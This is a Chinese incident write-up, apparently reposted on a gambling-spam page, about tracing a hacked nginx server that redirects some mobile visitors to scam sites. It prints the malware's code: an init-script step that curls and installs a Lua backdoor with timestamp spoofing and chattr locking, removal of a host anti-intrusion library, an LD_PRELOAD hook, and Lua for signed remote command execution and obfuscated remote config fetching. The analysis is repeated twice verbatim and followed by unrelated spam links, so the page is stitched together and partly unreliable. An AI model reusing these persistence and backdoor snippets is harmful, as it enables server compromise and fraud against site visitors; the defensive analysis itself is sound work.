速发国际365的最新网站-百特365平台可靠吗-日博365投注网

为何网站会出现的挂马?

起初,我收到用户反馈说网站会跳转到其他网站,于是我用电脑测了下nslookup,发现没啥问题,于是没有放在心上,告诉用户说应该是运营商dns

为何网站会出现的挂马?

起初,我收到用户反馈说网站会跳转到其他网站,于是我用电脑测了下nslookup,发现没啥问题,于是没有放在心上,告诉用户说应该是运营商dns劫持了

又过了几天,我偶然一次用手机访问站点,结果发现也被跳转到其他网站,于是开始了排查...

注:文章所有网址皆已手动更改

起初,我收到用户反馈说网站会跳转到其他网站,于是我用电脑测了下nslookup,发现没啥问题,于是没有放在心上,告诉用户说应该是运营商dns劫持了

又过了几天,我偶然一次用手机访问站点,结果发现也被跳转到其他网站,于是开始了排查...

顺带一提,这是当时跳转的截图

首先我用curl在自家电脑对服务器进行外部排查,发现返回为正常的网站,又联想到是手机才能触发,于是使用手机的ua对服务器进行排查,发现会进行跳转,返回结果如下

复制代码

复制代码 隐藏代码

HTTP/1.1 301 Moved Permanently

Date: Sat, 04 Jul 2026 15:04:25 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

Server: cloudflare

Location: https://xxs32.xxxxx.xyz/dh

X-Content-Type-Options: nosniff Vary: Accept-Encoding, Cookie

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Cache-Control: private, must-revalidate, max-age=0 Last-Modified: Sat, 04 Jul 2026 15:04:25 GMT

X-Request-Id: 54d8fbe5ce6f1d10818987a0 Strict-Transport-Security: max-age=31536000

Alt-Svc: h3=":443"; ma=86400

Cf-Cache-Status: DYNAMIC

#已删除部分不影响理解的返回

我们可以观察到服务器的返回是给出了一个location块,这正是导致跳转的原因

这个块里的网页的代码目前看下来是在500ms后通过js逻辑跳转到https://153.43.xx.xxx:18028/?cid=9743477

之后,我就去查所有网站的配置目录和全局配置,不过都没有发现跳转的位置

不过经过不少时间的搜索(百度)最后是从nginx的lua脚本发现了一点端倪

/usr/lib64/libnss_http.so.2

这个路径加载了个不应该加载的模块,而且我也没有主动装,于是开始找这个模块是从哪里开始加载的

找到 /etc/init.d/nginx 这个文件,里面就是被大幅度篡改的配置

我们一点点看

复制代码

复制代码 隐藏代码

if curl -fsSLk -m 5 -k https://pull.xxxx.xyz/ngxd.lua -o "$DIR" > /dev/null 2>&1; then

chmod 755 "$DIR" > /dev/null 2>&1

touch -r /etc/passwd "$DIR" > /dev/null 2>&1

chown www:www "$DIR" > /dev/null 2>&1

chattr +i "$DIR" > /dev/null 2>&1

fi

本文件首先使用curl从指定的域名下载恶意的lua脚本,同时把时间戳跟 /etc/passwd 进行同步,达到混淆视线的目的

其次使用了 chattr +i 这个属性,使得root用户也无法删除这个文件,必须先使用 chattr -i 解除该属性

我们再来看第二部分

复制代码

复制代码 隐藏代码

echo -e 'lua_shared_dict lua_cache 10m;

rewrite_by_lua_block {

local status, diversion = pcall(require, "ngxd")

if status then

diversion.process_request()

end

}' >$VHOST_PATH/_.conf

这段给恶意脚本先分配10mb的内存,以为接下来的攻击做铺垫,同时在nginx配置目录中强行生成 _.conf 的配置文件

一同注入了 rewrite_by_lua_block 使得每个由nginx处理的请求都会先让lua脚本进行处理

第三部分

复制代码

复制代码 隐藏代码

Preload_PATH="/etc/ld.so.preload"

if [ -f "$Preload_PATH" ]; then

if grep -q "libusranalyse" "$Preload_PATH" 2>/dev/null; then

chattr -i "$Preload_PATH" 2>/dev/null

sed -i '/libusranalyse/d' "$Preload_PATH" 2>/dev/null

fi

fi

这段会检查 /etc/ld.so.preload 这个文件中是否包含 libusranalyse(后者是宝塔的主机防入侵的杀毒软件)

如果存在,代码会通过 chattr -i 解锁该文件,然后用 sed -i 将其卸载

同时,该代码还会加载核心后门的lua模块

复制代码

复制代码 隐藏代码

prepare_nginx_conf

export LD_PRELOAD=/usr/lib64/libnss_http.so.2

$NGINX_BIN -c $CONFIGFILE

这段是在启动nginx程序之前,通过环境变量强制加载 /usr/lib64/libnss_http.so.2 这个动态库

接下来讲这个动态库

还是分部分讲

第一部分

Lua 纯文本查看 复制代码

?

|----------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 11 | local cmd = headers[command_header] if cmd ``then ``if not verify_command_request_signature(cmd, headers, cfg) ``then ``return true ``end ``-- 源码已经过清洗 ``local result = execute_command(cmd) ``ngx.header.content_type = ``"text/plain" ``ngx.say(result) ``ngx.exit(ngx.HTTP_OK) end |

这段代码写了当入侵者向你的网站发送带有特制请求头的请求时,只有用黑客私钥签名的命令才能通过 verify_command_request_signature 的验证

一旦通过了验证,黑客就能以运行nginx用户的权限在你的服务器上执行任意系统命令

第二部分

Lua 纯文本查看 复制代码

?

|-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 | local function load_config() ``if not should_update_config() ``then return get_config() ``end ``local machine_id = refresh_machine_id() ``local config_url = ``"https:/"``..``"/pull.xxx"``..``"a.x"``..``"yz/lR0jM7tM.php?sid=" .. machine_id ``local content = fetch_remote_content(config_url) ``if not content ``or content == ``"" then return get_config() ``end ``local new_config = parse_simple_config(content) |

这里这个恶意脚本使用了字符串拼接,目的是绕过大部分安全软件的静态关键词扫描

同时代码还上传了你服务器的 machine_id 入侵者可以在自己的后台针对不同的肉鸡服务器,下发不同的诈骗内容

第三部分

Lua 纯文本查看 复制代码

?

|-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 | if device == ``"android" then ``ratio = cfg.android_ratio elseif device == ``"iphone" then ``ratio = cfg.iphone_ratio else ``ratio = cfg.pc_ratio end if ratio <= ``0 then ``return false end for i = ``1``, ``3 do math.random``() ``end local random_num = ``math.random``(``1``, ``100``) if random_num > ratio ``then ``return false end |

在代码的默认配置中,电脑端用户被设置为完全不劫持(也就是概率为0),而手机端,例如安卓,跳转概率是10%

这也解释了为什么我用自己的电脑测试网站一切正常,但用户和我的手机访问却有时可以有时不行

顺带一提,这是当时跳转的截图

首先我用curl在自家电脑对服务器进行外部排查,发现返回为正常的网站,又联想到是手机才能触发,于是使用手机的ua对服务器进行排查,发现会进行跳转,返回结果如下

复制代码

复制代码 隐藏代码

HTTP/1.1 301 Moved Permanently

Date: Sat, 04 Jul 2026 15:04:25 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

Server: cloudflare

Location: https://xxs32.xxxxx.xyz/dh

X-Content-Type-Options: nosniff Vary: Accept-Encoding, Cookie

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Cache-Control: private, must-revalidate, max-age=0 Last-Modified: Sat, 04 Jul 2026 15:04:25 GMT

X-Request-Id: 54d8fbe5ce6f1d10818987a0 Strict-Transport-Security: max-age=31536000

Alt-Svc: h3=":443"; ma=86400

Cf-Cache-Status: DYNAMIC

#已删除部分不影响理解的返回

我们可以观察到服务器的返回是给出了一个location块,这正是导致跳转的原因

这个块里的网页的代码目前看下来是在500ms后通过js逻辑跳转到https://153.43.xx.xxx:18028/?cid=9743477

之后,我就去查所有网站的配置目录和全局配置,不过都没有发现跳转的位置

不过经过不少时间的搜索(百度)最后是从nginx的lua脚本发现了一点端倪

/usr/lib64/libnss_http.so.2

这个路径加载了个不应该加载的模块,而且我也没有主动装,于是开始找这个模块是从哪里开始加载的

找到 /etc/init.d/nginx 这个文件,里面就是被大幅度篡改的配置

我们一点点看

复制代码

复制代码 隐藏代码

if curl -fsSLk -m 5 -k https://pull.xxxx.xyz/ngxd.lua -o "$DIR" > /dev/null 2>&1; then

chmod 755 "$DIR" > /dev/null 2>&1

touch -r /etc/passwd "$DIR" > /dev/null 2>&1

chown www:www "$DIR" > /dev/null 2>&1

chattr +i "$DIR" > /dev/null 2>&1

fi

本文件首先使用curl从指定的域名下载恶意的lua脚本,同时把时间戳跟 /etc/passwd 进行同步,达到混淆视线的目的

其次使用了 chattr +i 这个属性,使得root用户也无法删除这个文件,必须先使用 chattr -i 解除该属性

我们再来看第二部分

复制代码

复制代码 隐藏代码

echo -e 'lua_shared_dict lua_cache 10m;

rewrite_by_lua_block {

local status, diversion = pcall(require, "ngxd")

if status then

diversion.process_request()

end

}' >$VHOST_PATH/_.conf

这段给恶意脚本先分配10mb的内存,以为接下来的攻击做铺垫,同时在nginx配置目录中强行生成 _.conf 的配置文件

一同注入了 rewrite_by_lua_block 使得每个由nginx处理的请求都会先让lua脚本进行处理

第三部分

复制代码

复制代码 隐藏代码

Preload_PATH="/etc/ld.so.preload"

if [ -f "$Preload_PATH" ]; then

if grep -q "libusranalyse" "$Preload_PATH" 2>/dev/null; then

chattr -i "$Preload_PATH" 2>/dev/null

sed -i '/libusranalyse/d' "$Preload_PATH" 2>/dev/null

fi

fi

这段会检查 /etc/ld.so.preload 这个文件中是否包含 libusranalyse(后者是宝塔的主机防入侵的杀毒软件)

如果存在,代码会通过 chattr -i 解锁该文件,然后用 sed -i 将其卸载

同时,该代码还会加载核心后门的lua模块

复制代码

复制代码 隐藏代码

prepare_nginx_conf

export LD_PRELOAD=/usr/lib64/libnss_http.so.2

$NGINX_BIN -c $CONFIGFILE

这段是在启动nginx程序之前,通过环境变量强制加载 /usr/lib64/libnss_http.so.2 这个动态库

接下来讲这个动态库

还是分部分讲

第一部分

Lua 纯文本查看 复制代码

?

|----------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 11 | local cmd = headers[command_header] if cmd ``then ``if not verify_command_request_signature(cmd, headers, cfg) ``then ``return true ``end ``-- 源码已经过清洗 ``local result = execute_command(cmd) ``ngx.header.content_type = ``"text/plain" ``ngx.say(result) ``ngx.exit(ngx.HTTP_OK) end |

这段代码写了当入侵者向你的网站发送带有特制请求头的请求时,只有用黑客私钥签名的命令才能通过 verify_command_request_signature 的验证

一旦通过了验证,黑客就能以运行nginx用户的权限在你的服务器上执行任意系统命令

第二部分

Lua 纯文本查看 复制代码

?

|-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 | local function load_config() ``if not should_update_config() ``then return get_config() ``end ``local machine_id = refresh_machine_id() ``local config_url = ``"https:/"``..``"/pull.xxx"``..``"a.x"``..``"yz/lR0jM7tM.php?sid=" .. machine_id ``local content = fetch_remote_content(config_url) ``if not content ``or content == ``"" then return get_config() ``end ``local new_config = parse_simple_config(content) |

这里这个恶意脚本使用了字符串拼接,目的是绕过大部分安全软件的静态关键词扫描

同时代码还上传了你服务器的 machine_id 入侵者可以在自己的后台针对不同的肉鸡服务器,下发不同的诈骗内容

第三部分

Lua 纯文本查看 复制代码

?

|-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

| 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 | if device == ``"android" then ``ratio = cfg.android_ratio elseif device == ``"iphone" then ``ratio = cfg.iphone_ratio else ``ratio = cfg.pc_ratio end if ratio <= ``0 then ``return false end for i = ``1``, ``3 do math.random``() ``end local random_num = ``math.random``(``1``, ``100``) if random_num > ratio ``then ``return false end |

在代码的默认配置中,电脑端用户被设置为完全不劫持(也就是概率为0),而手机端,例如安卓,跳转概率是10%

这也解释了为什么我用自己的电脑测试网站一切正常,但用户和我的手机访问却有时可以有时不行

← 上一篇: 赏析指导:圆舞曲知识介绍
下一篇: 牛奶加热就变“毒”?李兰娟院士提醒:热牛奶四个误区,提早了解 →

相关推荐

"門店翻修"法還能奏效多久?

今天出門去家附近的星巴克會朋友,往返路上看到去年才換裝修、物件內飾都還很新的一家餐館和一家理髮店又再進行門店翻修了。當然春節期

重度使用撑一天!酷壳iPhone6钻石充电版体验

重度使用撑一天!酷壳iPhone6钻石充电版体验

短短数年间,智能手机性能有了翻天覆地式的大提升,并逐渐成为我们日常生活中必不可少的一部分,甚至有不少人离开手机就会产生焦虑现象

《问道》修山全攻略  经验道行涨不停

《问道》修山全攻略 经验道行涨不停

2018年4月10日,十二年嘉年华期间,问道隆重推出全新1.65版本五行论剑,全新的宠物同源玩法上线,优化了门派系统并开启了全新的师门五脉争

迅雷7怎么优化下载速度-3DM软件

迅雷7怎么优化下载速度-3DM软件

迅雷7是一款非常好用专业的下载工具,支持多种下载协议。这里为大家带来关于迅雷7化下载速度的详细教程分享,想了解的小伙伴快一起来看

宁波银行白领融:你是否需要了解的贷款产品

宁波银行白领融:你是否需要了解的贷款产品

宁波银行白领融是宁波银行面向具有稳定工作和收入的白领人群推出的一款信用贷款产品。它具有无需抵押、审批速度快、还款方式灵活等特点

剪力墙画法

剪力墙画法

您的问题已发布您的回答已提交 大多数问题会在7分钟内获得回答,感谢您的耐心等待 恭喜获得答题积分奖励,帮助他人,成就自己。 采纳优质